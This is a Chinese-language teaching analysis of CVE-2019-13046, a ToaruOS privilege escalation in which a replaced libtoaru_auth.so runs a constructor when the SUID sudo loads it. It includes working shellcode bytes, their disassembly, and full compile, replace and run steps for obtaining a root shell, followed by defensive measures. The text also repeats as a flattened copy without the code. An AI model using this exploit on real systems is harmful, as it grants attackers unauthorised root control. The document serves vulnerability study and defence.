CVE-2019-13046 ToaruOS sudo/llinker 提权漏洞分析
字数 1254 2025-08-26 22:11:45

ToaruOS sudo/llinker 提权漏洞分析教学文档

漏洞概述

本漏洞(CVE-2019-13046)是ToaruOS操作系统中一个结合sudo和动态链接器(llinker)的本地提权漏洞。攻击者可以通过替换系统动态链接库,在sudo程序执行时以root权限执行任意代码。

前置知识

1. __attribute__机制

__attribute__是GCC提供的扩展语法,用于设置函数属性、变量属性和类型属性。

关键特性:

  • 语法格式:__attribute__((attribute-list))
  • constructor属性:标记的函数会在main()函数执行前自动执行
  • destructor属性:标记的函数会在main()执行后或exit()调用后自动执行

示例:

#include <stdio.h>

__attribute__((constructor)) void begin() {
    printf("Constructor is called.\n");
}

__attribute__((destructor)) void after() {
    printf("destructor is called.\n");
}

int main() {
    printf("hello world\n");
    return 0;
}

输出:

Constructor is called.
hello world
destructor is called.

2. ToaruOS动态链接机制

ToaruOS使用动态链接器(llinker)加载共享库,与Linux类似但实现不同。关键点:

  • 动态库在程序启动时被加载
  • 标记为constructor的函数会在主程序执行前自动执行

漏洞原理

1. 动态库加载机制缺陷

ToaruOS中多个系统程序依赖动态链接库,例如:

  • fetch程序依赖libtoaru_hashmap.so
  • sudo程序依赖libtoaru_auth.so

这些库的加载路径没有进行严格的权限验证,允许用户替换这些库文件。

2. sudo程序的SUID特性

sudo程序具有SUID权限:

  1. 启动时验证用户密码
  2. 验证通过后调用setuid(0)提升为root权限
  3. fork并执行用户指定的命令

漏洞利用步骤

1. 构造恶意动态库

创建包含constructor属性的恶意动态库:

#include <stdio.h>

__attribute__((constructor)) void begin() {
    printf("hello world\n");
}

编译:

gcc -fPIC -shared so.c -o so.so

2. 替换系统动态库

替换目标程序依赖的动态库:

  • 对于fetch程序:替换libtoaru_hashmap.so
  • 对于sudo程序:替换libtoaru_auth.so

3. 构造提权payload

创建包含shellcode的恶意动态库:

unsigned char shellcode[] = {
    0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
    0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
    0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
    0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
    0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58
};

__attribute__((constructor)) void mehness(void) {
    ((void (*)(void))shellcode)();
}

4. Shellcode分析

该shellcode执行以下操作:

  1. 调用setuid(0)设置root权限
  2. 调用system("/bin/shh")启动shell

ToaruOS系统调用通过int 0x7f实现:

  • setuid调用号:24 (0x18)
  • system调用号:7

汇编代码解析:

xor eax, eax        ; 清空eax
add al, 24          ; setuid系统调用号
xor ebx, ebx        ; 参数uid=0
int 0x7f            ; 触发系统调用
jmp short end       ; 跳转到end

start:
pop ebx             ; 获取字符串地址
xor eax, eax        ; 清空eax
mov [ebx+7], al     ; 字符串终止符
mov [ebx+8], ebx    ; argv[0] = "/bin/shh"
mov [ebx+12], eax   ; argv[1] = NULL
add al, 7           ; system系统调用号
lea ecx, [ebx+8]    ; argv参数
lea edx, [ebx+12]   ; envp参数
int 0x7f            ; 触发系统调用
xor eax, eax        ; exit(0)
int 0x7f

end:
call start          ; 调用start,压入字符串地址
db "/bin/shh"      ; 命令字符串
db "XXXXXXXX"       ; 填充

完整利用流程

  1. 编译恶意动态库:

    gcc -fPIC -shared poc.c -o libtoaru_auth.so
    
  2. 替换系统库文件:

    cp libtoaru_auth.so /path/to/system/lib/libtoaru_auth.so
    
  3. 执行sudo程序:

    sudo any_command
    
  4. 恶意构造函数自动执行,获取root shell

防御措施

  1. 对SUID程序依赖的动态库进行完整性验证
  2. 限制动态库加载路径,禁止从用户可写目录加载
  3. 使用全路径加载动态库
  4. 对关键系统程序进行静态链接

总结

该漏洞利用ToaruOS动态链接机制和sudo的SUID特性,通过替换动态库并在构造函数中执行恶意代码实现提权。核心在于理解__attribute__((constructor))的自动执行特性和动态库加载机制。

ToaruOS sudo/llinker 提权漏洞分析教学文档 漏洞概述 本漏洞(CVE-2019-13046)是ToaruOS操作系统中一个结合sudo和动态链接器(llinker)的本地提权漏洞。攻击者可以通过替换系统动态链接库,在sudo程序执行时以root权限执行任意代码。 前置知识 1. __attribute__ 机制 __attribute__ 是GCC提供的扩展语法,用于设置函数属性、变量属性和类型属性。 关键特性: 语法格式: __attribute__((attribute-list)) constructor 属性:标记的函数会在main()函数执行前自动执行 destructor 属性:标记的函数会在main()执行后或exit()调用后自动执行 示例: 输出: 2. ToaruOS动态链接机制 ToaruOS使用动态链接器(llinker)加载共享库,与Linux类似但实现不同。关键点: 动态库在程序启动时被加载 标记为 constructor 的函数会在主程序执行前自动执行 漏洞原理 1. 动态库加载机制缺陷 ToaruOS中多个系统程序依赖动态链接库,例如: fetch 程序依赖 libtoaru_hashmap.so sudo 程序依赖 libtoaru_auth.so 这些库的加载路径没有进行严格的权限验证,允许用户替换这些库文件。 2. sudo程序的SUID特性 sudo程序具有SUID权限: 启动时验证用户密码 验证通过后调用 setuid(0) 提升为root权限 fork并执行用户指定的命令 漏洞利用步骤 1. 构造恶意动态库 创建包含 constructor 属性的恶意动态库: 编译: 2. 替换系统动态库 替换目标程序依赖的动态库: 对于 fetch 程序:替换 libtoaru_hashmap.so 对于 sudo 程序:替换 libtoaru_auth.so 3. 构造提权payload 创建包含shellcode的恶意动态库: 4. Shellcode分析 该shellcode执行以下操作: 调用 setuid(0) 设置root权限 调用 system("/bin/shh") 启动shell ToaruOS系统调用通过 int 0x7f 实现: setuid 调用号:24 (0x18) system 调用号:7 汇编代码解析: 完整利用流程 编译恶意动态库: 替换系统库文件: 执行sudo程序: 恶意构造函数自动执行,获取root shell 防御措施 对SUID程序依赖的动态库进行完整性验证 限制动态库加载路径,禁止从用户可写目录加载 使用全路径加载动态库 对关键系统程序进行静态链接 总结 该漏洞利用ToaruOS动态链接机制和sudo的SUID特性,通过替换动态库并在构造函数中执行恶意代码实现提权。核心在于理解 __attribute__((constructor)) 的自动执行特性和动态库加载机制。